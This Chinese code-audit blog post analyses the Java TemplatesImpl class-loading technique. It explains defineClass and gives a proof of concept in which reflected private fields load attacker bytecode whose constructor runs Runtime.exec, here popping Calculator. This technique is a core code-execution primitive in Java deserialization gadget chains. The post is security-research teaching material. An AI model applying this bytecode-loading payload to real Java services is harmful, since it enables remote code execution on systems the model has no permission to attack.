『代码审计』TemplatesImpl 利用分析

defineClass用来将byte字节流解析成JVM能够识别的Class对象。简单来说，就是把class字节码文件，转化成虚拟机能识别的Class对象。

public class Hello {    static {        System.out.println("初始化代码块被调用");    }    private String message;
    public Hello(String message){        this.message = message;        System.out.println("有参构造方法被调用，参数message="+message);    }
    public Hello(){        System.out.println("无参构造方法被调用");    }}

import java.lang.reflect.Constructor;import java.lang.reflect.Method;import java.nio.file.Files;import java.nio.file.Paths;
public class TestDefine {    public static void main(String[] args) throws Exception {        //获取Hello类的字节码        byte[] hello = Files.readAllBytes(Paths.get("target/classes/Hello.class"));
        //反射调用defineClass        Method defineMethod = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);        defineMethod.setAccessible(true);        //执行defineMethod方法，传入构造方法Hello，获取Hello类        Class hello1 = (Class) defineMethod.invoke(ClassLoader.getSystemClassLoader(), "Hello", hello, 0, hello.length);
        System.out.println("开始调用构造方法");        //调用无参构造方法        hello1.newInstance();
        //获取Hello类的有参构造方法        Constructor c1 = hello1.getDeclaredConstructor(String.class);        c1.setAccessible(true);        //调用有参构造方法        c1.newInstance("123");
    }}

rt.jar代表runtime，包含所有核心Java 运行环境的已编译calss文件。必须在类路径中包含rt.jar，否则您无权访问核心类，例如 java.lang.String，java.lang.Thread，java.util.ArrayList或java.io.InputStream等，以及所有Java API中的其他类。

_tfactory 为 TransformerFactoryImpl对象_bytecodes 不为空，且在遍历中通过字节码转成一个类，例如new byte [][]{code}（code为字节码）这种二维数组_transletIndex的值暂时不确定

_tfactory 为 TransformerFactoryImpl对象_bytecodes 不为空，且在遍历中通过字节码转成一个类，例如new byte [][]{code}（code为字节码）这种二维数组code字节码是AbstractTranslet的子类，从而保证_transletIndex的值为1_class为null (默认初始化为null)_name不为null

import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class Test extends AbstractTranslet {    @Override    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
    }
    @Override    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
    }    public Test() throws IOException {        super();        Runtime.getRuntime().exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator");    }}

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.io.IOException;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;
public class RunTest {    public static void main(String[] args) throws Exception {        //获取字节码        byte[] bytes = Files.readAllBytes(Paths.get("target/classes/Test.class"));
        TemplatesImpl templates = new TemplatesImpl();        //通过反射对私有变量进行赋值        Field tfactory = templates.getClass().getDeclaredField("_tfactory");        tfactory.setAccessible(true);        tfactory.set(templates,new TransformerFactoryImpl());
        Field bytecodes = templates.getClass().getDeclaredField("_bytecodes");        bytecodes.setAccessible(true);        bytecodes.set(templates,new byte[][]{bytes});
        Field name = templates.getClass().getDeclaredField("_name");        name.setAccessible(true);        name.set(templates,"123123");
        //执行newTransformer()方法触发弹窗        templates.newTransformer();

    }}

http://www.chn520.cn/article_detail/1646107441882561https://blog.csdn.net/ni_hao_fan/article/details/95315193java安全漫谈-13.Java中动态加载字节码的那些方法